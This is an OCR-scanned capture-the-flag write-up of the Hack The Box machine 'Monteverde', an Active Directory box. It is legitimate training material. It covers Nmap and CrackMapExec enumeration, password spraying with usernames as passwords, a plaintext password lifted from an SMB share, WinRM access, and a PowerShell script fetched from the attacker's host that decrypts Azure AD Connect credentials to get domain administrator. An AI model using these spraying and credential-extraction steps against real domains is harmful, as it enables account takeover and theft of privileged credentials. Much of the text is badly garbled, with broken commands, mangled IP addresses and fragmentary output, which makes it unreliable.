Monteverde

Monteverde is a Medium Windows machine that features Azure AD Con-
nect. The domain is enumerated and a user list is created. Through pass-
word spraying, the SABatchJobs ™ service account is found to have the
username as a password. Using this service account, it is possible to enu-
merate SMB Shares on the system, and the “Susers’ share is found to be
world-readable. An XML file used for an Azure AD account is found within
a user folder and contains a password. Due to password reuse, we can
connect to the domain controller as ‘'mhope " using WinRM. Enumeration
shows that "Azure AD Connect ' is installed. It is possible to extract the
credentials for the account that replicates the directory changes to Azure
(in this case the default domain administrator).
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1 Initial Reconnaissance and Service Mapping

)= [~/htbvip/monteverde ]
- ap -A -sT -T4 -Pn -sV 16.18@.10.
password fo i

done; ETC: 21:58 (0:00:
s completed (

] 55 elapsed; @ hosts compl
Timing: About 99.93% done; ETC: 21:59 (0:80:00 remaining)
Nmap scan report for 10.19.10.172
Host is up ( 50 n
Not shown: 989 fil (no-response)
PORT STATE & VERSION
open Simple DNS Plus
open ke : Microsoft Windows Ke
open Microsoft Windows RPC
open etbhi Microsoft Windows netbhios-ssn
9/tcp open 1 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL®.,
fault-First-Site-Name)
445/tcp open microsoft-ds?
open sswd5?
open cn_http Microsoft Windows RPC over HTTP 1.0
6/tcp open tcpwrapped
8/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL®.,

ros (server time:

at least 1 open and 1 closed port

: Microsoft Windows Server 2819
or host (test conditions non-ide

: MONTEVERDE; 0S: Windows; CPE: cpe:/o:microsoft:windows

Port 53: Running DNS could be a vector for DNS-based attacks.

Port 88: Kerberos, a potential target for password cracking or golden/silver ticket attacks.

Port 135: Microsoft RPC, which can be vulnerable to various attacks if misconfigured.

Port 139 and 445: SMB services which might be vulnerable to attacks like EternalBlue or can be

used for SMB relay attacks.

Port 389: LDAP service, indicating the presence of an Active Directory environment which could be

exploited through various attack vectors. Let’s continue enumeration with cme.



)-[~/htbvip/monteverde ]
smb 10.10.10.172 - -p Sers

10.10.1@.1 44 MONTEVERDE Windows 10.@ Build 17763 x64 (name:MONTEVERDE) (
domain:MEGABANK.LOCAL) (signin MBvl:False)

10.108.1@.172 MONTEVERDE [+] MEGABANK.LOCALY:

10.10.10.17 ) MONTEVERDE Error enumerating domain users using dc ip 10.1@
.10.172: NTLM needs domain® ime and a password

10.19.1@.172 MONTEVERDE

7.1@.173 MONTEVERDE .
MONTEVERDE Guest Built-
/domain

MEGABANK . LOCALNAAD_987d7f2f57d2
vice with installation identifier 85c97990-7587-4a3d-b3

MONTEVERDE MEGABANK .
MONTEVERDE ]
MONTEVERDE

MONTEVERDE

MONTEVERDE

MONTEVERDE

MONTEVERDE

MONTEVERDE MEGABANK.

FErErrEFEEEEreE

~

)=[~/htbvip/monteverde]
smb 10.10.10.172 -d MEGABANK -u users.txt -p passwords.txt]]

Initially, | attempted to use several common passwords, but had no success. Subsequently, | em-

ployed a strategy of using the usernames as passwords for the respective accounts

J-[~fhtbvip/monteverde ]
smb 10.1@0.10.172 -d MEGABANK -uU users.txXt -p users.txt

192.10.18.172 445 MONTEVERDE Windows 1@.@ Build 17763 x64 (name:MONTEVERDE) (
domain:MEGABANK) (signing:Tr (SMBv1:False)

1@. .1e. MONTEVERDE MEGABANK\mhope :mhope STATUS_LOGON_FAILURE

1@. MONTEVERDE MEGABANK \mhope : SABatchJobs STATUS_LOGON_FAILURE

1@. MONTEVERDE MEGABANK \mho TATUS_LOGON_FATILURE
MONTEVERDE MEGABANK \mho e XE N_FAILURE
MONTEVERDE MEGABANK\mho et; 5 S N_FAILURE
MONTEVERDE MEGABANK\mho gal: ATUS_LOGON_FAILURE
MONTEVERDE MEGABANK \mhope I C TUS_LOGON_FAILURE
MONTEVERDE MEGABANK\mho in STATUS_LOGON_FAILURE
MONTEVERDE ( mhope STATUS_LOGON_FAILURE
MONTEVERDE [+] MEGABANK\SABatchJobs:SABatchJobs

1@.
1@.
1@.
10.
10.
1@.
1@.

el el el el e

We achieved a breakthrough! One user had set their password to be the same as their username.



2 Acquisition of Secondary Credentials

Now we have credentials, let’s enumerate smb shares:

J=[~/htbvip/monteverde |
smb 18.10.10.172 -
10.19.1@. Ly MONTEVERDE
domain:MEGABANK.LOCAL) (signing:True 1:False)

10.18. 1€ 2 4 MONTEVERDE

10.10.1@.172 L MONTEVERDE [+] Enumerated s

19.10.18.172 ; MONTEVERDE Share Permiss 5 Remark

1@. . 1€ F ! MONTEVERDE —_—

! MONTEVERDE ADM Remo Admin

MONTEVERDE g e READ
MONTEVERDE ol Default share
MONTEVERDE : ault share
MONTEVERDE . D "
MONTEVERDE
MONTEVERDE
MONTEVERDE

With smbclient, we can check shares. Inside users we see something interesting. Given that other
users lacked notable files, the discovery of 'azure.xml' within user mhope's directory was particu-
larly interesting.

smb: \mhope'> 1s




)=[~/htbvip/monteverde ]
azure.xml
#<0bjs Version="1.1.08.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<0bj RefId="0

Commands.ActiveDirectory.PSADPasswordCredentials

.Azure.Commands.ActiveDirectory.PSADPasswordCredentiale/ToString>

and we got second credentials!



3 User-Level Access and Obtaining the User Flag

We can validate our credentials using CrackMapExec:

) -[~/htbvip/monteverde ]
winrm 10.10.10.172 -u mhope -p 4n@therD
10.10.1@.172 5985 MONTEVERDE
in:MEGABANK.LOCAL)
10.10.1@.172 5985 MONTEVERDE http: D .
10.10.18.172 5 ] MONTEVERDE [+] MEGABANK.LOCALY

)=[~/htbvip/monteverde]
-1 12.12.18.172 -uv mhope -p 4n@therDiy@ndt

e path comple s is disabled due to ruby limitation: quoting_d

on this machine

t\Users\mhope\Documents> |

Ble24d46id193

ection_p

() funct




4 Elevating Privileges to System Administrator

There have been numerous hints about Azure AD throughout the machine, which is an aspect we

need to investigate further.

We have observed that we possess Azure Admin privileges:

Ps C:\Users‘\mhope“ZDesktop> net user mhope
User name mhope
Full Name Mike Hope
Comment
User"s comment

Country/region code
Account active
Account expires

P;
P;
P;
P;

o

word last

word expi

\ssword g

issword require

may change password

o

o

o
Lo S I s T T ¥ |

5
5
5
5
=]

=
[

Workstations allowed
Logon script

User profile

Home directory

Last Llogon

Logon hours allowed

Local Group Memberships
Global Group memberships

@88 (System Default)
Yes
Never

3:4B:85 PM

3:4B:85 PM

‘“wmonteverdehusers$imhope
B23 1:87:87 PM

All

*Remote Management Use

*Azure Admins *Domain Users

The command completed successfully.

The user 'mhope' has the capability to establish a connection to the local database and extract its

configuration. Following this, | will decrypt the obtained configuration to retrieve the username

and password of the account responsible for replication. The process is well-documented at

https://blog.xpnsec.com/azuread-connect-for-redteam/.



-ArgumentL

entropy FROM mm

mmand )
ELECT private_configuration_xml, encrypted_configuration FROM mms_manage

tiveCredentialkey([ref]3
$null
, [refltke
$null
ring($crypt [ref]$decryp

lect-wml -Content $config -XPath
t-wml -Content $config -X

Following a straightforward method of delivery through the http.server module, we have success-

fully obtained new credentials

poc.psl')

ername: adm
ssword: d@

top> cat root.txt

608d p 34b7b6187 3

s C rs\Administ BN |

]

.10.14.9/




